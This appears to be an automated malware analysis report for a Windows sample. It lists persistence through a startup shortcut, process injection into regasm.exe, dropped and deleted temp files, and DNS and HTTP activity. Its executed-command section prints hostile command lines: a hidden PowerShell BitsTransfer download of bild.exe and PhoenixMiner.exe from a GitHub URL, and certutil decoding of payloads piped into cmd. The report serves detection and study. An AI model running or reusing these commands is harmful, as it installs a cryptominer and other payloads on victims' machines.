Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\xbmokllsvm.url
Malicious functions
Injects code into
the following user processes:
- regasm.exe
Modifies file system
Creates the following files
- %TEMP%\ixp000.tmp\qmarizabh.dat
- %APPDATA%\euekeledlj\lwvtxvnrd.js
- %APPDATA%\euekeledlj\85-1
- %APPDATA%\euekeledlj\xbmokllsvm.com
- %APPDATA%\euekeledlj\brdtlksdv
- %TEMP%\ixp001.tmp\e
- %TEMP%\ixp001.tmp\netfilterservice.com
- %TEMP%\ixp001.tmp\regasm.exe
- %TEMP%\ixp001.tmp\1-8
- %TEMP%\ixp001.tmp\85-1
- %TEMP%\ixp001.tmp\8-9
- %TEMP%\ixp001.tmp\1-22
- %TEMP%\ixp000.tmp\bita5f0.tmp
- %TEMP%\ixp000.tmp\bita5ef.tmp
- %TEMP%\ixp000.tmp\pvpdoti
- %TEMP%\ixp001.tmp\49-84
- %APPDATA%\logs\12-27-2020
Sets the 'hidden' attribute to the following files
- %TEMP%\ixp000.tmp\bita5ef.tmp
- %TEMP%\ixp000.tmp\bita5f0.tmp
Deletes the following files
- %TEMP%\ixp000.tmp\pvpdoti
- %TEMP%\ixp000.tmp\qmarizabh.dat
- %TEMP%\ixp000.tmp\hyo.exe
- %TEMP%\ixp000.tmp\st.exe
- %TEMP%\ixp001.tmp\e
- %TEMP%\ixp001.tmp\85-1
- %TEMP%\ixp001.tmp\49-84
- %TEMP%\ixp001.tmp\8-9
- %TEMP%\ixp001.tmp\1-22
- %TEMP%\ixp001.tmp\1-8
- %TEMP%\ixp001.tmp\netfilterservice.com
- %TEMP%\ixp001.tmp\regasm.exe
Moves the following files
- from %TEMP%\ixp000.tmp\bita5ef.tmp to %TEMP%\ixp000.tmp\st.exe
- from %TEMP%\ixp000.tmp\bita5f0.tmp to %TEMP%\ixp000.tmp\hyo.exe
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://oc##.#tartssl.com/sub/class2/code/ca/MEMwQTA%2FMD0wOzAJBgUrDgMCGgUABBQSOgrhRCSnWfKxoWTjWxhk8hga9AQU0E4PQJlsuEsZbzsouODjiAc0qrcCAhAV
- http://ip##pi.com/json/
UDP
- DNS ASK microsoft.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK bW####Mc.bWsTsDMc
- DNS ASK aF#########myNLnla.aFEKylaTpfWmyNLnla
- DNS ASK oc##.#tartssl.com
- DNS ASK ip##pi.com
Miscellaneous
Creates and executes the following
- '%TEMP%\ixp000.tmp\st.exe'
- '%TEMP%\ixp000.tmp\hyo.exe'
- '%TEMP%\ixp001.tmp\netfilterservice.com' E
- '%TEMP%\ixp001.tmp\regasm.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/xga512/z/main/bild.exe,https://raw.githubusercontent.com/xga512/z/main/PhoenixMiner.exe -Destin...' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command Start-Process st.exe; Start-Process hYo.exe;' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c uZsKcxKNC' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c certutil -decode 49-84 1-8 & cmd < 1-8' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command Start-Process st.exe; Start-Process hYo.exe;
- '%WINDIR%\syswow64\cmd.exe' /c uZsKcxKNC
- '%WINDIR%\syswow64\cmd.exe' /c certutil -decode 49-84 1-8 & cmd < 1-8
- '%WINDIR%\syswow64\certutil.exe' -decode 49-84 1-8
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\ping.exe' -n 1 bWsTsDMc.bWsTsDMc
- '%WINDIR%\syswow64\findstr.exe' /V /R "^nbwDQgvnAp$" 1-22
- '%WINDIR%\syswow64\certutil.exe' -decode 8-9 E
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 30
